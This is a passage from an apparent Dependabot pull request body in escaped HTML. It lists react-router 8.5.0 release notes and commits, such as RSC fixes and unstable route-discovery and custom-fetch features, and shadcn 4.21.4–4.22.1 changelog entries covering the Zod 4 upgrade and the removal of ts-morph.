href=\"https://reactrouter.com/how-to/view-transitions\"\u003emigration guide\u003c/a\u003e for a navigation example and compatibility considerations\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003e\u0026lt;Await\u0026gt;\u003c/code\u003e failing to server render promises decoded from an RSC payload, which caused the Suspense boundary to switch to client rendering (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15597\"\u003e#15597\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDeclare \u003ccode\u003e@types/react\u003c/code\u003e and \u003ccode\u003e@types/react-dom\u003c/code\u003e as optional peer dependencies so the shipped type definitions resolve React types under strict (non-hoisted) node_modules layouts (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15528\"\u003e#15528\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix the \u003ccode\u003eunstable_useRouterState\u003c/code\u003e documentation example to call the imported alias (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15535\"\u003e#15535\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRender the \u003ccode\u003eHydrateFallback\u003c/code\u003e of a route discovered through \u003ccode\u003epatchRoutesOnNavigation\u003c/code\u003e during initial hydration (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15537\"\u003e#15537\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eRoutes discovered during initial hydration are now exposed in \u003ccode\u003estate.matches\u003c/code\u003e while their loaders run, so \u003ccode\u003e\u0026lt;RouterProvider\u0026gt;\u003c/code\u003e renders down to the discovered route's \u003ccode\u003eHydrateFallback\u003c/code\u003e instead of rendering nothing\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eFix router state recovery when updates occur before \u003ccode\u003eRouterProvider\u003c/code\u003e subscribes, including when other subscribers are already attached, and report current client errors once without replaying server errors during hydration (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15637\"\u003e#15637\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003ematchPath\u003c/code\u003e not treating a static segment as optional when it contains characters outside \u003ccode\u003e[\\w-]\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15425\"\u003e#15425\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix an RSC server crash when a client aborts a document request while the HTML stream waits for the RSC payload (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15612\"\u003e#15612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStop revalidating a fetcher after \u003ccode\u003efetcher.reset()\u003c/code\u003e, so its cleared data no longer comes back on the next revalidation (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15633\"\u003e#15633\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eUnstable Changes\u003c/h3\u003e\n\u003cp\u003e⚠️ \u003cem\u003e\u003ca href=\"https://reactrouter.com/community/api-development-strategy#unstable-flags\"\u003eUnstable features\u003c/a\u003e are not recommended for production use\u003c/em\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd an \u003ccode\u003eunstable_fetch\u003c/code\u003e prop to \u003ccode\u003e\u0026lt;HydratedRouter\u0026gt;\u003c/code\u003e to customize JavaScript-issued manifest and server data requests in conventional Framework Mode (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15586\"\u003e#15586\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe function receives the intended request as well as context identifying the type of request\u003c/li\u003e\n\u003cli\u003eData request context includes \u003ccode\u003enavigationType\u003c/code\u003e (\u003ccode\u003e\u0026quot;PUSH\u0026quot;\u003c/code\u003e, \u003ccode\u003e\u0026quot;REPLACE\u0026quot;\u003c/code\u003e, or \u003ccode\u003e\u0026quot;POP\u0026quot;\u003c/code\u003e for navigation-initiated requests, including reloaded fetchers; \u003ccode\u003enull\u003c/code\u003e otherwise)\n\u003cul\u003e\n\u003cli\u003eData strategies receive equivalent metadata through \u003ccode\u003eunstable_initiator\u003c/code\u003e and \u003ccode\u003eunstable_navigationType\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eThe custom fetch context is a discriminated union, so narrowing \u003ccode\u003etype\u003c/code\u003e to \u003ccode\u003e\u0026quot;navigation\u0026quot;\u003c/code\u003e guarantees a non-null \u003ccode\u003enavigationType\u003c/code\u003e, while other data requests have a \u003ccode\u003enull\u003c/code\u003e \u003ccode\u003enavigationType\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003eFetchers reloaded after an initialization redirect retain the \u003ccode\u003e\u0026quot;initialization\u0026quot;\u003c/code\u003e type and include their fetcher key\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eLike other router initialization options, the implementation is captured when the singleton router is created and thus subsequent prop changes are ignored\u003c/li\u003e\n\u003cli\u003eBrowser-managed data prefetches from \u003ccode\u003e\u0026lt;Link prefetch\u0026gt;\u003c/code\u003e use native \u003ccode\u003e\u0026lt;link rel=\u0026quot;prefetch\u0026quot;\u0026gt;\u003c/code\u003e elements and do not call the custom implementation\u003c/li\u003e\n\u003cli\u003eUse the callback for custom fetch options, custom headers, safe request retries, or response header inspection\u003c/li\u003e\n\u003cli\u003eReturn response bodies unchanged so React Router can decode its manifest and Turbo Stream data protocols\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eSupport API-only Framework Mode with runtime server data loading, actions, revalidation, and lazy route discovery (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15601\"\u003e#15601\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eHydrate prerendered pages from build-time data and fetch server loader data when hydrating a SPA fallback\u003c/li\u003e\n\u003cli\u003ePreserve normal loader revalidation and server-action support for eagerly loaded and lazily discovered routes, and honor loader opt-outs when making server data requests\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eunstable_useRouteDiscovery\u003c/code\u003e for application-controlled route discovery in conventional Framework Mode (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15602\"\u003e#15602\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eDiscover selected destinations or load the running client's full route manifest without loading route modules\u003c/li\u003e\n\u003cli\u003eCompose manifest-mismatch handlers, with shared recovery and cancellation that preserves application state\u003c/li\u003e\n\u003cli\u003eKeep full-manifest failures catchable without rendering error boundaries, whether mismatch handlers use the hook or event's \u003ccode\u003eloadAllRoutes()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eCancel pending revalidation alongside a canceled navigation, retaining existing data and settling interrupted fetchers before restoring Back/Forward history\u003c/li\u003e\n\u003cli\u003eEnable \u003ccode\u003efuture.unstable_customRouteDiscovery\u003c/code\u003e to opt in\n\u003cul\u003e\n\u003cli\u003eApps without the flag retain existing discovery behavior\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eCall \u003ccode\u003eevent.defaultBehavior()\u003c/code\u003e from a custom mismatch handler to explicitly run built-in recovery\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eReturn middleware short-circuit responses as-is for document requests in RSC modes, including resource routes, instead of decoding non-RSC bodies as Flight (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15628\"\u003e#15628\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eInclude server middleware in both eager and lazy RSC route configuration types\u003c/li\u003e\n\u003cli\u003ePreserve HTML rendering for cached Flight responses returned by middleware, and pass through raw responses that replace the result of \u003ccode\u003enext()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/4fe4525102870a2b21a4a0568a651d118f5e5dbb\"\u003e\u003ccode\u003e4fe4525\u003c/code\u003e\u003c/a\u003e Release v8.5.0 (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15515\"\u003e#15515\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/358001c62beecfeb261b7f045ca9309464114027\"\u003e\u003ccode\u003e358001c\u003c/code\u003e\u003c/a\u003e docs: prepare v8.5.0 release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/5ff82948b7d9437e096085de403813e7e853d485\"\u003e\u003ccode\u003e5ff8294\u003c/code\u003e\u003c/a\u003e Fix RouterProvider initialization recovery with existing subscribers (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15637\"\u003e#15637\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/d86f6b49a1b53e056880363d25e79cd68890e9c4\"\u003e\u003ccode\u003ed86f6b4\u003c/code\u003e\u003c/a\u003e Add opt-in application-controlled route discovery (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15602\"\u003e#15602\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/19f75c04f89a67c39f1e0411291d9cdff85c0170\"\u003e\u003ccode\u003e19f75c0\u003c/code\u003e\u003c/a\u003e Default single-fetch data strategy to native fetch (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15638\"\u003e#15638\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/5e9405326ff4d7aea9d0780010b1efd686a8885f\"\u003e\u003ccode\u003e5e94053\u003c/code\u003e\u003c/a\u003e Fix \u003ccode\u003e\\\u0026lt;Await\u0026gt;\u003c/code\u003e server rendering for RSC promises (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15597\"\u003e#15597\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/843230c5c769a4785fc85aa426a132dc33d49d9b\"\u003e\u003ccode\u003e843230c\u003c/code\u003e\u003c/a\u003e fix(react-router): stop the RSC HTML stream when it is cancelled during flush...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/08ee782ddf7d6a67e6b92f7c58762f73bf58ab42\"\u003e\u003ccode\u003e08ee782\u003c/code\u003e\u003c/a\u003e fix(react-router): stop revalidating a fetcher after reset (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15633\"\u003e#15633\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/6549ab0a6eb411fb4a27a1e3329fdcef97ba0007\"\u003e\u003ccode\u003e6549ab0\u003c/code\u003e\u003c/a\u003e fix(rsc): tag middleware short-circuit responses as React-Router-Resource (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/1\"\u003e#1\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/a1422f12598bfa74b71aae8a07a62ccbf8b09f31\"\u003e\u003ccode\u003ea1422f1\u003c/code\u003e\u003c/a\u003e fix: render HydrateFallback of routes discovered during initial hydration (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/1\"\u003e#1\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/remix-run/react-router/commits/react-router@8.5.0/packages/react-router\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `shadcn` from 4.21.3 to 4.22.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/shadcn-ui/ui/releases\"\u003eshadcn's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eshadcn@4.22.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12360\"\u003e#12360\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/4381eeb3fe421af7d25b780f85ff9cbc8d50c51a\"\u003e\u003ccode\u003e4381eeb\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Fix \u003ccode\u003eshadcn add --all\u003c/code\u003e and the component picker to only include components available for the project's style.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eshadcn@4.22.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12298\"\u003e#12298\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/954ce953412867a57b7e067c076fa7fd395ea115\"\u003e\u003ccode\u003e954ce95\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Upgrade to Zod 4. \u003ccode\u003eshadcn/schema\u003c/code\u003e and \u003ccode\u003e@shadcn/registry/schema\u003c/code\u003e now export Zod 4 schemas, so passing them to Zod 3's \u003ccode\u003ez\u003c/code\u003e no longer typechecks. On Zod 3, use the exported types (\u003ccode\u003eRegistryItem\u003c/code\u003e, \u003ccode\u003eRegistryItemFile\u003c/code\u003e, \u003ccode\u003eConfig\u003c/code\u003e) and the schema's own methods (\u003ccode\u003eregistryItemSchema.array()\u003c/code\u003e) instead of \u003ccode\u003ez.infer\u003c/code\u003e and \u003ccode\u003ez.array\u003c/code\u003e. Zod errors expose \u003ccode\u003eissues\u003c/code\u003e, not \u003ccode\u003eerrors\u003c/code\u003e. Validation messages now use Zod 4's wording.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/shadcn-ui/ui/commit/954ce953412867a57b7e067c076fa7fd395ea115\"\u003e\u003ccode\u003e954ce95\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​shadcn/registry\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.2.0\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eshadcn@4.21.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12214\"\u003e#12214\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/440734966e04a1e429bb8df8a29d7095a5e4a60f\"\u003e\u003ccode\u003e4407349\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e! - Update \u003ccode\u003e@modelcontextprotocol/sdk\u003c/code\u003e, \u003ccode\u003ebrowserslist\u003c/code\u003e, \u003ccode\u003eopen\u003c/code\u003e and \u003ccode\u003epostcss-selector-parser\u003c/code\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12192\"\u003e#12192\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/dd34945272729ecd198fabb0e32082f6321c210e\"\u003e\u003ccode\u003edd34945\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Move \u003ccode\u003e@​shadcn/registry\u003c/code\u003e modules out of utils.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12297\"\u003e#12297\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/7aa2110d4ae0910429093c2240948c916d18dd7f\"\u003e\u003ccode\u003e7aa2110\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mattzcarey\"\u003e\u003ccode\u003e@​mattzcarey\u003c/code\u003e\u003c/a\u003e! - Fix MCP search and list results showing \u003ccode\u003e[object Promise]\u003c/code\u003e instead of the add command.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12174\"\u003e#12174\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/2af71ac3188a89e42027bca3817daf128cbce7c2\"\u003e\u003ccode\u003e2af71ac\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e! - Update \u003ccode\u003e@modelcontextprotocol/sdk\u003c/code\u003e to 1.31.0.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12048\"\u003e#12048\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/cfb4cb6fce835cda9342fae1592b21ece48ce23d\"\u003e\u003ccode\u003ecfb4cb6\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e! - Update \u003ccode\u003eundici\u003c/code\u003e to 7.29.1.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/shadcn-ui/ui/commit/97ddbf4274ed09d02aa7fd34375f2cf1e48cbbf0\"\u003e\u003ccode\u003e97ddbf4\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/dd34945272729ecd198fabb0e32082f6321c210e\"\u003e\u003ccode\u003edd34945\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/cfb4cb6fce835cda9342fae1592b21ece48ce23d\"\u003e\u003ccode\u003ecfb4cb6\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​shadcn/registry\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.1.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eshadcn@4.21.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12189\"\u003e#12189\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/76fd499595ba7cc01f49d159bd7ac82d7aca8e63\"\u003e\u003ccode\u003e76fd499595ba7cc01f49d159bd7ac82d7aca8e63\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Drop the ts-morph dependency from \u003ccode\u003e@​shadcn/registry\u003c/code\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12184\"\u003e#12184\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/995c2cfff44c373bd210d451089726ec097ab917\"\u003e\u003ccode\u003e995c2cfff44c373bd210d451089726ec097ab917\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Run the icons and asChild transformers without ts-morph.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12160\"\u003e#12160\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/6efecd8fe9aa167886fe2cc0c05c5623a5bb5670\"\u003e\u003ccode\u003e6efecd8fe9aa167886fe2cc0c05c5623a5bb5670\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Edit the Next.js layout for font items without ts-morph, and skip it with a warning instead of writing a broken layout.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12188\"\u003e#12188\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/efa11781f756c86debb0392fbea4fe468250b41b\"\u003e\u003ccode\u003eefa11781f756c86debb0392fbea4fe468250b41b\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Rewrite imports and crawl file imports without ts-morph.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12177\"\u003e#12177\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/e8c3143b1cd191280befcd6c9538284bb43399a8\"\u003e\u003ccode\u003ee8c3143b1cd191280befcd6c9538284bb43399a8\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Edit tailwind.config without ts-morph, and skip it with a warning instead of writing a broken config.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12183\"\u003e#12183\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/f56bbd7282f0116a925a601cb6d7e0c3fede448b\"\u003e\u003ccode\u003ef56bbd7282f0116a925a601cb6d7e0c3fede448b\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Run the rsc, import, CSS variable, cleanup, font and menu transformers without ts-morph.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12185\"\u003e#12185\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/4a90344c42dc9ae47494179065219377ff5f2a8f\"\u003e\u003ccode\u003e4a90344c42dc9ae47494179065219377ff5f2a8f\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Run the Tailwind prefix and RTL transformers without ts-morph.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/shadcn-ui/ui/commit/76fd499595ba7cc01f49d159bd7ac82d7aca8e63\"\u003e\u003ccode\u003e76fd499595ba7cc01f49d159bd7ac82d7aca8e63\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/995c2cfff44c373bd210d451089726ec097ab917\"\u003e\u003ccode\u003e995c2cfff44c373bd210d451089726ec097ab917\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/6efecd8fe9aa167886fe2cc0c05c5623a5bb5670\"\u003e\u003ccode\u003e6efecd8fe9aa167886fe2cc0c05c5623a5bb5670\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/232d7e2c128d94d37a6dae74e3b0e1a8f08ff6e4\"\u003e\u003ccode\u003e232d7e2c128d94d37a6dae74e3b0e1a8f08ff6e4\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/efa11781f756c86debb0392fbea4fe468250b41b\"\u003e\u003ccode\u003eefa11781f756c86debb0392fbea4fe468250b41b\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/e8c3143b1cd191280befcd6c9538284bb43399a8\"\u003e\u003ccode\u003ee8c3143b1cd191280befcd6c9538284bb43399a8\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/f56bbd7282f0116a925a601cb6d7e0c3fede448b\"\u003e\u003ccode\u003ef56bbd7282f0116a925a601cb6d7e0c3fede448b\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/4a90344c42dc9ae47494179065219377ff5f2a8f\"\u003e\u003ccode\u003e4a90344c42dc9ae47494179065219377ff5f2a8f\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​shadcn/registry\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.1.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/shadcn-ui/ui/blob/main/packages/shadcn/CHANGELOG.md\"\u003eshadcn's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e4.22.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12360\"\u003e#12360\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/4381eeb3fe421af7d25b780f85ff9cbc8d50c51a\"\u003e\u003ccode\u003e4381eeb\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Fix \u003ccode\u003eshadcn add --all\u003c/code\u003e and the component picker to only include components available for the project's style.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e4.22.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12298\"\u003e#12298\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/954ce953412867a57b7e067c076fa7fd395ea115\"\u003e\u003ccode\u003e954ce95\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Upgrade to Zod 4. \u003ccode\u003eshadcn/schema\u003c/code\u003e and \u003ccode\u003e@shadcn/registry/schema\u003c/code\u003e now export Zod 4 schemas, so passing them to Zod 3's \u003ccode\u003ez\u003c/code\u003e no longer typechecks. On Zod 3, use the exported types (\u003ccode\u003eRegistryItem\u003c/code\u003e, \u003ccode\u003eRegistryItemFile\u003c/code\u003e, \u003ccode\u003eConfig\u003c/code\u003e) and the schema's own methods (\u003ccode\u003eregistryItemSchema.array()\u003c/code\u003e) instead of \u003ccode\u003ez.infer\u003c/code\u003e and \u003ccode\u003ez.array\u003c/code\u003e. Zod errors expose \u003ccode\u003eissues\u003c/code\u003e, not \u003ccode\u003eerrors\u003c/code\u003e. Validation messages now use Zod 4's wording.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/shadcn-ui/ui/commit/954ce953412867a57b7e067c076fa7fd395ea115\"\u003e\u003ccode\u003e954ce95\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​shadcn/registry\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.2.0\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e4.21.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12214\"\u003e#12214\u003c/a\u003e \u003ca 